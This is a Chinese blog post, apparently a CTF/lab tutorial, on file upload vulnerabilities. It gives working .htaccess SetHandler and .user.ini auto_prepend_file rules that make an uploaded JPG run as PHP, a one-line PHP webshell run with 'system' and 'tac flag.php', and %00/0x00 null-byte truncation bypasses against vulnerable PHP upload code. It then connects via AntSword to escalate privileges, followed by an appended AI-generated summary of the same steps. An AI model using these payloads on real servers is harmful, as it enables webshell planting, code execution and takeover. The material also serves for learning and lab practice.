文件上传漏洞 续

目录

文件上传-.hatacess

文件上传-user.ini

文件上传-二次渲染

00截断介绍

1.白名单绕过 00截断(GET注入)

2.白名单绕过 00截断(POST注入)


文件上传-.hatacess

.hatacess(伪静态文件)文件时Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htacess文件。可以帮助我们实现:网页301重定向,自定义404报错,改变文件扩展名,允许,阻止特定的用户或目录的访问,禁止目录列表,配置默认文档等功能.hatacess默认不支持nginx,设置后支持。

上传模块中,黑名单过滤了所有能执行的后缀名,如果上传.htacess。htacess文件的作用时可以帮助我们实现包括:文件夹密码保护,用户自动重定向,自定义错误界面,改变你的文件扩展名,封禁特定的IP地址,禁止目录列表,以及使用其他文件作为index文件等一些功能。在htacess里写入色图Handlerapplication/x-httpd-http则可以重写成php文件。要htacess规则生效需要在apache开启rewrite重写模块,因为apache里多数都开启这个模块。所有规则一般都生效

<FilesMatch  "22.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
第二行自动读写为php文件
上传htacess文件,会将22.jpg文件自动解析为php文件
<Directory />
Options FollowSymLinks
AllowOverride All
</Directory>

文件上传-user.ini

php.ini是php是php的一个全局配置文件,对整个web服务起作用;而.user.ini(是防止脚本跨根目录执行的不是防止ftp)和htacess一样是目录配置文件,.user.ini就是用户自定义的一个php.ini,我们可以用这个文件来构造后门和隐藏后门。

让所有当前目录下可执行php文件 包含22.jpg文件

auto_prepend_file=22.jpg

文件上传-二次渲染

在我们上传文件后,网站会对图片进行二次处理(格式,尺寸,保存,删除,要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行战术

绕过方法:

1.配合条件竞争漏洞

竞争条件是指多个线程在没有进行锁操作或同步操作的情况下同时访问同一个共享代码,变量,文件等,运行的结果依赖于不用的线程访问数据的顺序

2.配合文件包含漏洞

将一句话木马插入到网站二次处理后的图片中,也就是将二次渲染后保留的图片和一句话木马制作为图片马,再配合文件包含漏洞解析图片马中的代码,获取webshell。

<?$_GET[0]($_POST[1];)?>
0=system
1=tac  flag.php

00截断介绍

00截断,url中%00表示ASCII中的0,而ascii中的0当作特殊字符保留,表示字符串结束,所以url中出现%00表示读取已结束

**满足条件:(1)PHP版本<5.3.4   (2)配置参数magic_quotes_gpc呈关闭状态

1.白名单绕过 00截断(GET注入)

 $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

$_GET['save_path']上传文件,后面使用 %00截断

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

白名单有png,上传png文件,使用Burpsuite进行抓包,进行如下操作,关闭代理即可上传成功

上传图片后 复制图片链接,删除后面多余的部分就是我们需要的URL地址,使用蚁剑进行连接,进行提权

2.白名单绕过 00截断(POST注入)

 $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

$_POST['save_path']上传文件,后面使用 0x00截断(Hex16进制)

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

 白名单有png,上传png文件,使用Burpsuite进行抓包,进行如下操作,关闭代理即可上传成功

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
文件上传漏洞是指在网站或应用程序中存在漏洞,使得攻击者可以上传恶意文件到服务器上。通过利用文件上传漏洞,攻击者可以执行任意代码,获取服务器权限,或者在服务器上执行其他恶意操作。 要找到文件上传漏洞的绝对路径,可以通过以下步骤进行: 1. 首先,尝试上传一个文件,观察上传的文件是否被服务器接受并保存。如果上传成功,可以尝试修改文件的扩展名或内容,以绕过服务器的文件类型检查。这样可以确保上传的文件能够被服务器执行。 2. 上传成功后,需要找到上传文件的绝对路径。可以通过查看上传文件的URL或文件路径来获取。通常,上传的文件会被保存在服务器的特定目录中,可以通过查看服务器配置文件或应用程序代码来确定上传文件的保存路径。 3. 一旦找到上传文件的绝对路径,可以使用蚁剑等工具来连接服务器并执行代码。通过连接服务器,可以利用上传的文件执行任意代码,获取服务器权限或进行其他操作。 需要注意的是,为了使上传的文件能够被服务器执行,通常需要将文件的扩展名修改为服务器支持的脚本语言类型,如PHP。这样服务器在执行文件时会将其作为脚本来解析并执行其中的代码。 总结起来,要找到文件上传漏洞的绝对路径,需要通过上传文件并修改扩展名或内容来绕过服务器的文件类型检查,然后查找上传文件的保存路径,并使用相应的工具连接服务器并执行代码。 #### 引用[.reference_title] - *1* *2* *3* [文件上传漏洞详解](https://blog.csdn.net/2301_76160896/article/details/131215650)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

K.A.L

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值